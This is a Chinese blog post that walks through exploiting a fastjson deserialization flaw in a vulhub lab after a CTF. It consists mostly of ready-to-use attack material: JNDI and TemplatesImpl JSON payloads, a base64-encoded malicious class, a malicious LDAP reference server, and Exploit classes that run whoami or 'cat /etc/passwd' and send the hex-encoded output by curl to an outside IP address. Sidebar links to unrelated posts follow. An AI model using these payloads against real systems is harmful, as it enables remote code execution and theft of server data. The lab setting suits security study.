zoukankan      html  css  js  c++  java
  • fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录。

    环境搭建

    首先用 vulhub 搭建 fastjson 的漏洞环境。

    漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析。

    漏洞利用

    首先我们需要确认是否存在漏洞,可以采取让服务器发请求到我们的公网 vps

    POST / HTTP/1.1
    Host: 192.168.245.128:8080
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 112
    
    {"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://104.223.70.183:1099/Object","autoCommit":true}
    

    方案一

    没成功

    来源

    https://lazydog.me/post/fastjson-JdbcRowSetImpl-rce-exploit.html#3-L18
    

    方案二

    方案三

    就是 vulhub 自带的一种利用方案。

    首先编译 poc 得到字节码

    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    import java.io.IOException;
    
    public class Poc extends AbstractTranslet {
    
        public Poc() throws IOException {
            Runtime.getRuntime().exec("curl http://104.223.70.183:3333/eeee");
        }
    
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
        }
    
        @Override
        public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
    
        }
    
        public static void main(String[] args) throws Exception {
            Poc t = new Poc();
        }
    }
    

    然后把 .class 文件做 base64 加密

    import base64
    fin = open(r"Poc.class", "rb")
    fout = open(r"en.txt", "w")
    s = base64.encodestring(fin.read()).replace("
    ", "")
    fout.write(s)
    fin.close()
    fout.close()
    

    修改 json_bytecodes 为 刚刚生成的 base64 文本 :

    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAVMUG9jOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcALwwAMAAxAQAkY3VybCBodHRwOi8vMTA0LjIyMy43MC4xODM6MzMzMy9lZWVlDAAyADMBAANQb2MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgALAAAADgADAAAACwAEAAwADQANAAwAAAAMAAEAAAAOAA0ADgAAAA8AAAAEAAEAEAABABEAEgABAAoAAABJAAAABAAAAAGxAAAAAgALAAAABgABAAAAEQAMAAAAKgAEAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABUAFgACAAAAAQAXABgAAwABABEAGQACAAoAAAA/AAAAAwAAAAGxAAAAAgALAAAABgABAAAAFgAMAAAAIAADAAAAAQANAA4AAAAAAAEAEwAUAAEAAAABABoAGwACAA8AAAAEAAEAHAAJAB0AHgACAAoAAABBAAIAAgAAAAm7AAVZtwAGTLEAAAACAAsAAAAKAAIAAAAZAAgAGgAMAAAAFgACAAAACQAfACAAAAAIAAEAIQAOAAEADwAAAAQAAQAiAAEAIwAAAAIAJA=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
    

    发送到服务器

    方案四

    首先起一个 ldap 服务

    package person.server;
    
    
    import java.net.InetAddress;
    import java.net.MalformedURLException;
    import java.net.URL;
    
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    
    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPException;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    
    
    /**
     * LDAP server implementation returning JNDI references
     *
     * @author mbechler
     *
     */
    public class LdapServer {
    
        private static final String LDAP_BASE = "dc=example,dc=com";
    
    
        public static void main ( String[] args ) {
            int port = 1389;
            if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
                System.err.println(LdapServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
                System.exit(-1);
            }
            else if ( args.length > 1 ) {
                port = Integer.parseInt(args[ 1 ]);
            }
    
            try {
                InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
                config.setListenerConfigs(new InMemoryListenerConfig(
                        "listen", //$NON-NLS-1$
                        InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                        port,
                        ServerSocketFactory.getDefault(),
                        SocketFactory.getDefault(),
                        (SSLSocketFactory) SSLSocketFactory.getDefault()));
    
                config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
                InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
                System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
                ds.startListening();
    
            }
            catch ( Exception e ) {
                e.printStackTrace();
            }
        }
    
        private static class OperationInterceptor extends InMemoryOperationInterceptor {
    
            private URL codebase;
    
    
            /**
             *
             */
            public OperationInterceptor ( URL cb ) {
                this.codebase = cb;
            }
    
    
            /**
             * {@inheritDoc}
             *
             * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
             */
            @Override
            public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
                String base = result.getRequest().getBaseDN();
                Entry e = new Entry(base);
                try {
                    sendResult(result, base, e);
                }
                catch ( Exception e1 ) {
                    e1.printStackTrace();
                }
    
            }
    
    
            protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
                URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
                System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
                e.addAttribute("javaClassName", "Exploit");
                String cbstring = this.codebase.toString();
                int refPos = cbstring.indexOf('#');
                if ( refPos > 0 ) {
                    cbstring = cbstring.substring(0, refPos);
                }
                e.addAttribute("javaCodeBase", cbstring);
                e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
                e.addAttribute("javaFactory", this.codebase.getRef());
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            }
    
        }
    }
    

    参数为

    http://104.223.70.183:8000/#Exploit 389
    

    表示获取 http://104.223.70.183:8000/Exploit.class 的内容作为 payload , 服务监听在 389 端口。

    编译 Exploit.class

    import java.io.BufferedInputStream;
    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    
    public class Exploit {
        public static String exec(String cmd) throws Exception {
            String sb = "";
            BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String lineStr;
            while ((lineStr = inBr.readLine()) != null)
                sb += lineStr + "
    ";
            inBr.close();
            in.close();
            return sb;
        }
    
        public Exploit() throws Exception {
            String result = "";
            result = exec("whoami");
            String cmd = "curl http://104.223.70.183/" + result;
            throw new Exception(exec(cmd));
        }
    
        public static void main(String[] args) throws Exception {
            String result = "";
            result = exec("whoami");
            String cmd = "curl http://104.223.70.183/" + result;
            throw new Exception(exec(cmd));
        }
    }
    

    然后发送 poc 过去。

    POST / HTTP/1.1
    Host: 192.168.245.128:8080
    Pragma: no-cache
    Cache-Control: no-cache
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 113
    
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://104.223.70.183:389/Exploit", "autoCommit":true}
    

    实际利用

    尝试了很多方法都反弹不了 shell , 这里给一种折中的办法,首先执行命令,然后把结果 16 进制编码,然后用 curl 传出来

    import java.io.BufferedInputStream;
    import java.io.BufferedReader;
    import java.io.ByteArrayOutputStream;
    import java.io.InputStreamReader;
    
    public class Exploit {
    
        //转化字符串为十六进制编码
        public static String toHexString(String s) {
            String str = "";
            for (int i = 0; i < s.length(); i++) {
                int ch = (int) s.charAt(i);
                String s4 = Integer.toHexString(ch);
                str = str + s4;
            }
            return str;
        }
    
        // 转化十六进制编码为字符串
        public static String toStringHex1(String s) {
            byte[] baKeyword = new byte[s.length() / 2];
            for (int i = 0; i < baKeyword.length; i++) {
                try {
                    baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
                            i * 2, i * 2 + 2), 16));
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            try {
                s = new String(baKeyword, "utf-8");// UTF-16le:Not
            } catch (Exception e1) {
                e1.printStackTrace();
            }
            return s;
        }
    
        // 转化十六进制编码为字符串
        public static String toStringHex2(String s) {
            byte[] baKeyword = new byte[s.length() / 2];
            for (int i = 0; i < baKeyword.length; i++) {
                try {
                    baKeyword[i] = (byte) (0xff & Integer.parseInt(s.substring(
                            i * 2, i * 2 + 2), 16));
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
            try {
                s = new String(baKeyword, "utf-8");// UTF-16le:Not
            } catch (Exception e1) {
                e1.printStackTrace();
            }
            return s;
        }
    
        public static void main(String[] args) {
            System.out.println(encode("中文"));
            System.out.println(decode(encode("中文")));
        }
    
        /*
         * 16进制数字字符集
         */
        private static String hexString = "0123456789ABCDEF";
    
        /*
         * 将字符串编码成16进制数字,适用于所有字符(包括中文)
         */
        public static String encode(String str) {
            // 根据默认编码获取字节数组
            byte[] bytes = str.getBytes();
            StringBuilder sb = new StringBuilder(bytes.length * 2);
            // 将字节数组中每个字节拆解成2位16进制整数
            for (int i = 0; i < bytes.length; i++) {
                sb.append(hexString.charAt((bytes[i] & 0xf0) >> 4));
                sb.append(hexString.charAt((bytes[i] & 0x0f) >> 0));
            }
            return sb.toString();
        }
    
        /*
         * 将16进制数字解码成字符串,适用于所有字符(包括中文)
         */
        public static String decode(String bytes) {
            ByteArrayOutputStream baos = new ByteArrayOutputStream(
                    bytes.length() / 2);
            // 将每2位16进制整数组装成一个字节
            for (int i = 0; i < bytes.length(); i += 2)
                baos.write((hexString.indexOf(bytes.charAt(i)) << 4 | hexString
                        .indexOf(bytes.charAt(i + 1))));
            return new String(baos.toByteArray());
        }
    
        public static String exec(String cmd) throws Exception {
            String sb = "";
            BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
            BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
            String lineStr;
            while ((lineStr = inBr.readLine()) != null)
                sb += lineStr + "
    ";
            inBr.close();
            in.close();
            return sb;
        }
    
        public Exploit() throws Exception {
            String result = "";
            result = encode(exec("cat /etc/passwd"));
            String cmd = String.format("curl -d "%s" http://104.223.70.183/ ", result);
            throw new Exception(exec(cmd));
        }
    }
    

    参考

    https://xz.aliyun.com/t/2897#toc-13
    https://github.com/shengqi158/fastjson-remote-code-execute-poc
    
    
  • 相关阅读:
    java编译错误No enclosing instance of type TestFrame is accessible. Must qualify the allocation with an enclosing instance of type TestFrame (e.g. x.new A(
    java 2中创建线程方法
    动态规划基本思想
    关于eclipse编译一个工程多个main函数
    java Gui初识
    Eclipse中java项目的打包
    java 播放声音
    把资源文件夹导入到eclipse中
    Java建立JProgressBar
    How to grant permissions to a custom assembly that is referenced in a report in Reporting Services
  • 原文地址:https://www.cnblogs.com/hac425/p/9800288.html
Copyright © 2011-2022 走看看